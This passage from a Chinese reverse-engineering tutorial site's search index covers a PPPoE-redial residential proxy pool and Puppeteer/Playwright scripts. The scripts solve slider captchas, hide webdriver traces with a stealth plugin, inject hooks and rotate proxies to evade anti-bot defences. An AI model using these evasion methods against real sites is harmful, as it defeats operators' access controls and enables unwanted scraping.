\"业务服务器\" A[爬虫/业务应用] --\u003e B{中心 API Server} end B -- 获取代理 --\u003e A B -- 管理/调度 --\u003e C1 B -- 管理/调度 --\u003e C2 B -- 管理/调度 --\u003e C3 subgraph \"拨号节点 1 (上海电信)\" C1[树莓派] --\u003e D1[代理服务 Squid] C1 -- 控制重拨 --\u003e E1[路由器/光猫] E1 -- PPPoE --\u003e F1[(ISP 网络)] end subgraph \"拨号节点 2 (北京联通)\" C2[树莓派] --\u003e D2[代理服务 Squid] C2 -- 控制重拨 --\u003e E2[路由器/光猫] E2 -- PPPoE --\u003e F2[(ISP 网络)] end subgraph \"拨号节点 N (深圳移动)\" C3[树莓派] --\u003e D3[代理服务 Squid] C3 -- 控制重拨 --\u003e E3[路由器/光猫] E3 -- PPPoE --\u003e F3[(ISP 网络)] end C1 -- 上报 IP --\u003e B C2 -- 上报 IP --\u003e B C3 -- 上报 IP --\u003e B ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:2:4","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#d-整体架构图"},{"categories":null,"collections":null,"content":"3. 节点管理脚本示例 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:3:0","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#3-节点管理脚本示例"},{"categories":null,"collections":null,"content":"拨号节点客户端 import requests import subprocess import time import socket class DialUpNode: def __init__(self, api_server, node_id, location, isp): self.api_server = api_server self.node_id = node_id self.location = location self.isp = isp self.current_ip = None self.proxy_port = 3128 def redial(self): \"\"\"执行断线重拨\"\"\" # 断开连接 subprocess.run(['ssh', 'root@192.168.1.1', 'ifdown wan']) time.sleep(3) # 重新连接 subprocess.run(['ssh', 'root@192.168.1.1', 'ifup wan']) time.sleep(5) # 获取新 IP result = subprocess.run( ['ssh', 'root@192.168.1.1', \"ifconfig pppoe-wan | grep 'inet addr' | cut -d: -f2 | cut -d' ' -f1\"], capture_output=True, text=True ) self.current_ip = result.stdout.strip() return self.current_ip def register_ip(self): \"\"\"向中心服务器注册新 IP\"\"\" data = { 'node_id': self.node_id, 'ip': self.current_ip, 'port': self.proxy_port, 'location': self.location, 'isp': self.isp } response = requests.post(f'{self.api_server}/register', json=data) return response.json() def heartbeat(self): \"\"\"发送心跳\"\"\" data = {'node_id': self.node_id, 'ip': self.current_ip} try: response = requests.post( f'{self.api_server}/heartbeat', json=data, timeout=5 ) return response.json() except: return None def run(self, redial_interval=300): \"\"\"主循环\"\"\" while True: # 执行拨号获取新 IP new_ip = self.redial() print(f\"New IP: {new_ip}\") # 注册新 IP self.register_ip() # 定期发送心跳 for _ in range(redial_interval // 10): time.sleep(10) self.heartbeat() # 启动节点 if __name__ == '__main__': node = DialUpNode( api_server='http://api.example.com', node_id='node-shanghai-01', location='上海', isp='电信' ) node.run(redial_interval=300) ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:3:1","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#拨号节点客户端"},{"categories":null,"collections":null,"content":"中心 API 服务器 from flask import Flask, request, jsonify from datetime import datetime, timedelta import threading import time app = Flask(__name__) # IP 池存储 ip_pool = {} lock = threading.Lock() @app.route('/register', methods=['POST']) def register(): \"\"\"注册新 IP\"\"\" data = request.json with lock: ip_pool[data['node_id']] = { 'ip': data['ip'], 'port': data['port'], 'location': data['location'], 'isp': data['isp'], 'last_heartbeat': datetime.now(), 'in_use': False } return jsonify({'status': 'ok'}) @app.route('/heartbeat', methods=['POST']) def heartbeat(): \"\"\"接收心跳\"\"\" data = request.json with lock: if data['node_id'] in ip_pool: ip_pool[data['node_id']]['last_heartbeat'] = datetime.now() return jsonify({'status': 'ok'}) @app.route('/get_proxy', methods=['GET']) def get_proxy(): \"\"\"获取可用代理\"\"\" location = request.args.get('location') isp = request.args.get('isp') with lock: for node_id, info in ip_pool.items(): # 检查是否超时 if datetime.now() - info['last_heartbeat'] \u003e timedelta(seconds=30): continue # 检查是否被占用 if info['in_use']: continue # 匹配条件 if location and info['location'] != location: continue if isp and info['isp'] != isp: continue # 标记为使用中 info['in_use'] = True return jsonify({ 'proxy': f\"{info['ip']}:{info['port']}\", 'node_id': node_id, 'location': info['location'], 'isp': info['isp'] }) return jsonify({'error': 'No available proxy'}), 404 @app.route('/release_proxy', methods=['POST']) def release_proxy(): \"\"\"释放代理\"\"\" data = request.json with lock: if data['node_id'] in ip_pool: ip_pool[data['node_id']]['in_use'] = False return jsonify({'status': 'ok'}) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:3:2","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#中心-api-服务器"},{"categories":null,"collections":null,"content":"4. 业务调用示例 import requests class ProxyPoolClient: def __init__(self, api_server): self.api_server = api_server self.current_proxy = None self.current_node_id = None def get_proxy(self, location=None, isp=None): \"\"\"获取代理\"\"\" params = {} if location: params['location'] = location if isp: params['isp'] = isp response = requests.get(f'{self.api_server}/get_proxy', params=params) if response.status_code == 200: data = response.json() self.current_proxy = data['proxy'] self.current_node_id = data['node_id'] return self.current_proxy return None def release_proxy(self): \"\"\"释放当前代理\"\"\" if self.current_node_id: requests.post( f'{self.api_server}/release_proxy', json={'node_id': self.current_node_id} ) self.current_proxy = None self.current_node_id = None def request_with_proxy(self, url, **kwargs): \"\"\"使用代理发送请求\"\"\" if not self.current_proxy: self.get_proxy() proxies = { 'http': f'http://{self.current_proxy}', 'https': f'http://{self.current_proxy}' } return requests.get(url, proxies=proxies, **kwargs) # 使用示例 client = ProxyPoolClient('http://api.example.com') # 获取上海电信的代理 proxy = client.get_proxy(location='上海', isp='电信') print(f\"Using proxy: {proxy}\") # 发送请求 response = client.request_with_proxy('https://httpbin.org/ip') print(response.json()) # 释放代理 client.release_proxy() ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:4:0","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#4-业务调用示例"},{"categories":null,"collections":null,"content":"总结 动态住宅 IP 代理池是大规模爬虫和逆向分析的核心基础设施之一。通过合理的架构设计和管理策略，可以构建一个高可用、高伪装度的代理系统，有效绕过目标服务器的反爬虫策略。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:5:0","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#总结"},{"categories":null,"collections":null,"content":"浏览器自动化脚本 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:0:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#浏览器自动化脚本"},{"categories":null,"collections":null,"content":"概述 浏览器自动化是 Web 逆向的重要手段。通过模拟真实用户操作，可以绕过许多反爬虫检测。本章介绍 Puppeteer 和 Playwright 的实战脚本。 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:1:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#概述"},{"categories":null,"collections":null,"content":"Puppeteer 脚本 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#puppeteer-脚本"},{"categories":null,"collections":null,"content":"基础模板 const puppeteer = require(\"puppeteer\"); (async () =\u003e { // 启动浏览器 const browser = await puppeteer.launch({ headless: false, // 显示浏览器窗口 devtools: true, // 打开 DevTools }); // 打开新页面 const page = await browser.newPage(); // 访问网站 await page.goto(\"https://example.com\", { waitUntil: \"networkidle2\", // 等待网络空闲 }); // 截图 await page.screenshot({ path: \"screenshot.png\" }); // 关闭浏览器 await browser.close(); })(); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:1","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#基础模板"},{"categories":null,"collections":null,"content":"登录脚本 const puppeteer = require(\"puppeteer\"); async function login(username, password) { const browser = await puppeteer.launch({ headless: false }); const page = await browser.newPage(); // 访问登录页 await page.goto(\"https://example.com/login\"); // 填写表单 await page.type(\"#username\", username); await page.type(\"#password\", password); // 点击登录按钮 await page.click(\"#login-button\"); // 等待跳转 await page.waitForNavigation(); // 获取 Cookie const cookies = await page.cookies(); console.log(\"Cookies:\", cookies); await browser.close(); return cookies; } login(\"myuser\", \"mypassword\"); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:2","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#登录脚本"},{"categories":null,"collections":null,"content":"无限滚动加载 async function scrollToBottom(page) { await page.evaluate(async () =\u003e { await new Promise((resolve) =\u003e { let totalHeight = 0; const distance = 100; const timer = setInterval(() =\u003e { const scrollHeight = document.body.scrollHeight; window.scrollBy(0, distance); totalHeight += distance; if (totalHeight \u003e= scrollHeight) { clearInterval(timer); resolve(); } }, 100); }); }); } // 使用 const page = await browser.newPage(); await page.goto(\"https://example.com/infinite-scroll\"); await scrollToBottom(page); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:3","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#无限滚动加载"},{"categories":null,"collections":null,"content":"处理滑块验证码 async function solveSlider(page) { // 等待滑块出现 await page.waitForSelector(\".slider\"); // 获取滑块和轨道元素 const slider = await page.$(\".slider-button\"); const track = await page.$(\".slider-track\"); // 获取轨道宽度 const trackBox = await track.boundingBox(); const distance = trackBox.width - 40; // 减去滑块宽度 // 模拟人类拖动轨迹 await slider.hover(); await page.mouse.down(); // 生成贝塞尔曲线轨迹 const steps = 20; for (let i = 0; i \u003c= steps; i++) { const x = (distance / steps) * i; const y = Math.sin((i / steps) * Math.PI) * 10; // 添加随机抖动 await page.mouse.move(trackBox.x + x, trackBox.y + y); await page.waitForTimeout(Math.random() * 10 + 5); } await page.mouse.up(); } ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:4","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#处理滑块验证码"},{"categories":null,"collections":null,"content":"拦截和修改请求 const page = await browser.newPage(); // 启用请求拦截 await page.setRequestInterception(true); page.on(\"request\", (request) =\u003e { // 拦截特定 URL if (request.url().includes(\"/api/data\")) { // 修改请求头 request.continue({ headers: { ...request.headers(), \"X-Custom-Header\": \"MyValue\", }, }); } else { request.continue(); } }); page.on(\"response\", async (response) =\u003e { const url = response.url(); if (url.includes(\"/api/data\")) { const data = await response.json(); console.log(\"API Response:\", data); } }); await page.goto(\"https://example.com\"); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:5","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#拦截和修改请求"},{"categories":null,"collections":null,"content":"注入 Hook 脚本 const page = await browser.newPage(); // 在页面加载前注入脚本 await page.evaluateOnNewDocument(() =\u003e { // Hook fetch const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"[Fetch]\", args[0]); const response = await originalFetch.apply(this, args); return response; }; // Hook localStorage const originalSetItem = localStorage.setItem; localStorage.setItem = function (key, value) { console.log(\"[LocalStorage]\", key, \"=\", value); return originalSetItem.apply(this, arguments); }; }); await page.goto(\"https://example.com\"); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:6","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#注入-hook-脚本"},{"categories":null,"collections":null,"content":"绕过 Webdriver 检测 const puppeteer = require(\"puppeteer-extra\"); const StealthPlugin = require(\"puppeteer-extra-plugin-stealth\"); puppeteer.use(StealthPlugin()); const browser = await puppeteer.launch({ headless: false, args: [ \"--disable-blink-features=AutomationControlled\", \"--disable-dev-shm-usage\", \"--no-sandbox\", ], }); const page = await browser.newPage(); // 隐藏 webdriver 特征 await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, \"webdriver\", { get: () =\u003e undefined, }); // 伪造 Chrome 插件 Object.defineProperty(navigator, \"plugins\", { get: () =\u003e [1, 2, 3, 4, 5], }); }); await page.goto(\"https://bot-detection.com\"); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:2:7","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#绕过-webdriver-检测"},{"categories":null,"collections":null,"content":"Playwright 脚本 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:3:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#playwright-脚本"},{"categories":null,"collections":null,"content":"基础模板 const { chromium } = require(\"playwright\"); (async () =\u003e { const browser = await chromium.launch({ headless: false }); const context = await browser.newContext(); const page = await context.newPage(); await page.goto(\"https://example.com\"); await page.screenshot({ path: \"screenshot.png\" }); await browser.close(); })(); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:3:1","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#基础模板-1"},{"categories":null,"collections":null,"content":"多浏览器测试 const { chromium, firefox, webkit } = require(\"playwright\"); async function testAllBrowsers(url) { for (const browserType of [chromium, firefox, webkit]) { const browser = await browserType.launch(); const page = await browser.newPage(); await page.goto(url); const title = await page.title(); console.log(`${browserType.name()}: ${title}`); await browser.close(); } } testAllBrowsers(\"https://example.com\"); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:3:2","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#多浏览器测试"},{"categories":null,"collections":null,"content":"移动设备模拟 const { devices } = require(\"playwright\"); const iPhone = devices[\"iPhone 12\"]; const browser = await chromium.launch(); const context = await browser.newContext({ ...iPhone, locale: \"zh-CN\", geolocation: { longitude: 116.4, latitude: 39.9 }, // 北京 permissions: [\"geolocation\"], }); const page = await context.newPage(); await page.goto(\"https://example.com\"); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:3:3","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#移动设备模拟"},{"categories":null,"collections":null,"content":"并发爬取 async function scrapeMultiplePages(urls) { const browser = await chromium.launch(); const context = await browser.newContext(); // 并发打开多个页面 const promises = urls.map(async (url) =\u003e { const page = await context.newPage(); await page.goto(url); const data = await page.evaluate(() =\u003e { return { title: document.title, content: document.body.innerText, }; }); await page.close(); return data; }); const results = await Promise.all(promises); await browser.close(); return results; } const urls = [ \"https://example.com/page1\", \"https://example.com/page2\", \"https://example.com/page3\", ]; scrapeMultiplePages(urls).then(console.log); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:3:4","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#并发爬取"},{"categories":null,"collections":null,"content":"保存登录状态 // 登录并保存状态 async function saveLoginState() { const browser = await chromium.launch({ headless: false }); const context = await browser.newContext(); const page = await context.newPage(); await page.goto(\"https://example.com/login\"); await page.fill(\"#username\", \"myuser\"); await page.fill(\"#password\", \"mypassword\"); await page.click(\"#login-button\"); await page.waitForNavigation(); // 保存存储状态（包含 Cookie、LocalStorage 等） await context.storageState({ path: \"state.json\" }); await browser.close(); } // 加载登录状态 async function useLoginState() { const browser = await chromium.launch({ headless: false }); const context = await browser.newContext({ storageState: \"state.json\", }); const page = await context.newPage(); // 直接访问需要登录的页面 await page.goto(\"https://example.com/dashboard\"); await browser.close(); } ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:3:5","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#保存登录状态"},{"categories":null,"collections":null,"content":"网络监控和 HAR 导出 const context = await browser.newContext({ recordHar: { path: \"network.har\" }, }); const page = await context.newPage(); await page.goto(\"https://example.com\"); // 操作页面... await context.close(); // HAR 文件会自动保存 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:3:6","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#网络监控和-har-导出"},{"categories":null,"collections":null,"content":"进阶技巧 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:4:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#进阶技巧"},{"categories":null,"collections":null,"content":"1. 人类行为模拟 // 随机延迟 function randomDelay(min = 100, max = 500) { return Math.floor(Math.random() * (max - min + 1) + min); } // 模拟真实打字 async function typeHuman(page, selector, text) { await page.click(selector); for (const char of text) { await page.type(selector, char); await page.waitForTimeout(randomDelay(50, 150)); } } // 随机鼠标移动 async function randomMouseMove(page) { const x = Math.floor(Math.random() * 800); const y = Math.floor(Math.random() * 600); await page.mouse.move(x, y); } ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:4:1","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#1-人类行为模拟"},{"categories":null,"collections":null,"content":"2. 代理池集成 const proxies = [ \"http://proxy1.com:8080\", \"http://proxy2.com:8080\", \"http://proxy3.com:8080\", ]; async function scrapeWithProxy(url) { const proxy = proxies[Math.floor(Math.random() * proxies.length)]; const browser = await chromium.launch({ proxy: { server: proxy }, }); const page = await browser.newPage(); await page.goto(url); // 爬取数据... await browser.close(); } ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:4:2","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#2-代理池集成"},{"categories":null,"collections":null,"content":"3. 失败重试 async function retryOperation(operation, maxRetries = 3) { for (let i = 0; i \u003c maxRetries; i++) { try { return await operation(); } catch (error) { console.log(`Attempt ${i + 1} failed:`, error.message); if (i === maxRetries - 1) throw error; await new Promise((resolve) =\u003e setTimeout(resolve, 1000 * (i + 1))); } } } // 使用 await retryOperation(async () =\u003e { await page.goto(\"https://example.com\"); await page.click(\"#button\"); }); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:4:3","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#3-失败重试"},{"categories":null,"collections":null,"content":"完整爬虫示例 const puppeteer = require(\"puppeteer-extra\"); const StealthPlugin = require(\"puppeteer-extra-plugin-stealth\"); const fs = require(\"fs\"); puppeteer.use(StealthPlugin()); class WebScraper { constructor() { this.browser = null; this.page = null; } async init() { this.browser = await puppeteer.launch({ headless: false, args: [\"--no-sandbox\"], }); this.page = await this.browser.newPage(); await this.page.setViewport({ width: 1920, height: 1080 }); } async login(username, password) { await this.page.goto(\"https://example.com/login\"); await this.page.type(\"#username\", username, { delay: 100 }); await this.page.type(\"#password\", password, { delay: 100 }); await this.page.click(\"#login-button\"); await this.page.waitForNavigation(); } async scrapeData(url) { await this.page.goto(url); const data = await this.page.evaluate(() =\u003e { const items = []; document.querySelectorAll(\".item\").forEach((item) =\u003e { items.push({ title: item.querySelector(\".title\")?.innerText, price: item.querySelector(\".price\")?.innerText, link: item.querySelector(\"a\")?.href, }); }); return items; }); return data; } async close() { await this.browser.close(); } } // 使用 (async () =\u003e { const scraper = new WebScraper(); await scraper.init(); await scraper.login(\"myuser\", \"mypassword\"); const data = await scraper.scrapeData(\"https://example.com/products\"); fs.writeFileSync(\"data.json\", JSON.stringify(data, null, 2)); await scraper.close(); })(); ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:5:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#完整爬虫示例"},{"categories":null,"collections":null,"content":"商业化浏览器自动化解决方案对比 在大规模数据采集和自动化测试场景中，商业化服务可以显著降低运维成本和技术门槛。以下是市场主流方案的详细对比。 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#商业化浏览器自动化解决方案对比"},{"categories":null,"collections":null,"content":"1. 商业浏览器云服务（Browser-as-a-Service） Browserless.io 核心优势: 托管式无头浏览器服务 自动扩展，无需运维 内置反检测和代理池 支持 Puppeteer/Playwright API 定价: Hobby: $29/月（10,000 次请求） Startup: $79/月（50,000 次请求） Business: $299/月（250,000 次请求） Enterprise: 定制化 技术规格: // 使用示例 - 与 Puppeteer 完全兼容 const browser = await puppeteer.connect({ browserWSEndpoint: \"wss://chrome.browserless.io?token=YOUR_TOKEN\", }); 适用场景: PDF 生成服务 网页截图 API 轻量级爬虫（\u003c 100 万页/月） 官网: https://www.browserless.io/ 优劣分析: ✅ 零运维成本 ✅ 按需付费 ❌ 受限于供应商网络 ❌ 大规模场景成本高 BrowserStack Automate 核心优势: 2000+真实设备和浏览器组合 企业级可靠性（99.9% SLA） 详细的测试报告和视频录制 与 CI/CD 无缝集成 定价: Team: $29/月（1 个并发） Business: $99/月（5 个并发） Enterprise: $299/月起（25 个并发） 技术规格: // Selenium 集成 const caps = { \"bstack:options\": { userName: \"YOUR_USERNAME\", accessKey: \"YOUR_KEY\", }, browserName: \"Chrome\", browserVersion: \"latest\", }; 适用场景: 跨浏览器兼容性测试 移动端自动化测试 企业级 QA 自动化 官网: https://www.browserstack.com/ 竞品对比: Sauce Labs（类似定价和功能） LambdaTest（更便宜，$15/月起） Apify 核心优势: 专业网页爬取平台 1000+ 现成的爬虫 Actor 内置代理池和反检测 Serverless 架构 定价: Free: $0（每月$5 额度） Personal: $49/月 Team: $499/月 Enterprise: 定制化 技术特点: // Actor 示例 - 爬取Google搜索 const Apify = require(\"apify\"); Apify.main(async () =\u003e { const requestQueue = await Apify.openRequestQueue(); await requestQueue.addRequest({ url: \"https://google.com\" }); const crawler = new Apify.PuppeteerCrawler({ requestQueue, handlePageFunction: async ({ page, request }) =\u003e { const title = await page.title(); console.log(`Title: ${title}`); }, }); await crawler.run(); }); 适用场景: 中大规模数据采集 市场监测和价格追踪 无需维护基础设施的团队 官网: https://apify.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:1","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#1-商业浏览器云服务browser-as-a-service"},{"categories":null,"collections":null,"content":"1. 商业浏览器云服务（Browser-as-a-Service） Browserless.io 核心优势: 托管式无头浏览器服务 自动扩展，无需运维 内置反检测和代理池 支持 Puppeteer/Playwright API 定价: Hobby: $29/月（10,000 次请求） Startup: $79/月（50,000 次请求） Business: $299/月（250,000 次请求） Enterprise: 定制化 技术规格: // 使用示例 - 与 Puppeteer 完全兼容 const browser = await puppeteer.connect({ browserWSEndpoint: \"wss://chrome.browserless.io?token=YOUR_TOKEN\", }); 适用场景: PDF 生成服务 网页截图 API 轻量级爬虫（\u003c 100 万页/月） 官网: https://www.browserless.io/ 优劣分析: ✅ 零运维成本 ✅ 按需付费 ❌ 受限于供应商网络 ❌ 大规模场景成本高 BrowserStack Automate 核心优势: 2000+真实设备和浏览器组合 企业级可靠性（99.9% SLA） 详细的测试报告和视频录制 与 CI/CD 无缝集成 定价: Team: $29/月（1 个并发） Business: $99/月（5 个并发） Enterprise: $299/月起（25 个并发） 技术规格: // Selenium 集成 const caps = { \"bstack:options\": { userName: \"YOUR_USERNAME\", accessKey: \"YOUR_KEY\", }, browserName: \"Chrome\", browserVersion: \"latest\", }; 适用场景: 跨浏览器兼容性测试 移动端自动化测试 企业级 QA 自动化 官网: https://www.browserstack.com/ 竞品对比: Sauce Labs（类似定价和功能） LambdaTest（更便宜，$15/月起） Apify 核心优势: 专业网页爬取平台 1000+ 现成的爬虫 Actor 内置代理池和反检测 Serverless 架构 定价: Free: $0（每月$5 额度） Personal: $49/月 Team: $499/月 Enterprise: 定制化 技术特点: // Actor 示例 - 爬取Google搜索 const Apify = require(\"apify\"); Apify.main(async () =\u003e { const requestQueue = await Apify.openRequestQueue(); await requestQueue.addRequest({ url: \"https://google.com\" }); const crawler = new Apify.PuppeteerCrawler({ requestQueue, handlePageFunction: async ({ page, request }) =\u003e { const title = await page.title(); console.log(`Title: ${title}`); }, }); await crawler.run(); }); 适用场景: 中大规模数据采集 市场监测和价格追踪 无需维护基础设施的团队 官网: https://apify.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:1","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#browserlessio"},{"categories":null,"collections":null,"content":"1. 商业浏览器云服务（Browser-as-a-Service） Browserless.io 核心优势: 托管式无头浏览器服务 自动扩展，无需运维 内置反检测和代理池 支持 Puppeteer/Playwright API 定价: Hobby: $29/月（10,000 次请求） Startup: $79/月（50,000 次请求） Business: $299/月（250,000 次请求） Enterprise: 定制化 技术规格: // 使用示例 - 与 Puppeteer 完全兼容 const browser = await puppeteer.connect({ browserWSEndpoint: \"wss://chrome.browserless.io?token=YOUR_TOKEN\", }); 适用场景: PDF 生成服务 网页截图 API 轻量级爬虫（\u003c 100 万页/月） 官网: https://www.browserless.io/ 优劣分析: ✅ 零运维成本 ✅ 按需付费 ❌ 受限于供应商网络 ❌ 大规模场景成本高 BrowserStack Automate 核心优势: 2000+真实设备和浏览器组合 企业级可靠性（99.9% SLA） 详细的测试报告和视频录制 与 CI/CD 无缝集成 定价: Team: $29/月（1 个并发） Business: $99/月（5 个并发） Enterprise: $299/月起（25 个并发） 技术规格: // Selenium 集成 const caps = { \"bstack:options\": { userName: \"YOUR_USERNAME\", accessKey: \"YOUR_KEY\", }, browserName: \"Chrome\", browserVersion: \"latest\", }; 适用场景: 跨浏览器兼容性测试 移动端自动化测试 企业级 QA 自动化 官网: https://www.browserstack.com/ 竞品对比: Sauce Labs（类似定价和功能） LambdaTest（更便宜，$15/月起） Apify 核心优势: 专业网页爬取平台 1000+ 现成的爬虫 Actor 内置代理池和反检测 Serverless 架构 定价: Free: $0（每月$5 额度） Personal: $49/月 Team: $499/月 Enterprise: 定制化 技术特点: // Actor 示例 - 爬取Google搜索 const Apify = require(\"apify\"); Apify.main(async () =\u003e { const requestQueue = await Apify.openRequestQueue(); await requestQueue.addRequest({ url: \"https://google.com\" }); const crawler = new Apify.PuppeteerCrawler({ requestQueue, handlePageFunction: async ({ page, request }) =\u003e { const title = await page.title(); console.log(`Title: ${title}`); }, }); await crawler.run(); }); 适用场景: 中大规模数据采集 市场监测和价格追踪 无需维护基础设施的团队 官网: https://apify.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:1","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#browserstack-automate"},{"categories":null,"collections":null,"content":"1. 商业浏览器云服务（Browser-as-a-Service） Browserless.io 核心优势: 托管式无头浏览器服务 自动扩展，无需运维 内置反检测和代理池 支持 Puppeteer/Playwright API 定价: Hobby: $29/月（10,000 次请求） Startup: $79/月（50,000 次请求） Business: $299/月（250,000 次请求） Enterprise: 定制化 技术规格: // 使用示例 - 与 Puppeteer 完全兼容 const browser = await puppeteer.connect({ browserWSEndpoint: \"wss://chrome.browserless.io?token=YOUR_TOKEN\", }); 适用场景: PDF 生成服务 网页截图 API 轻量级爬虫（\u003c 100 万页/月） 官网: https://www.browserless.io/ 优劣分析: ✅ 零运维成本 ✅ 按需付费 ❌ 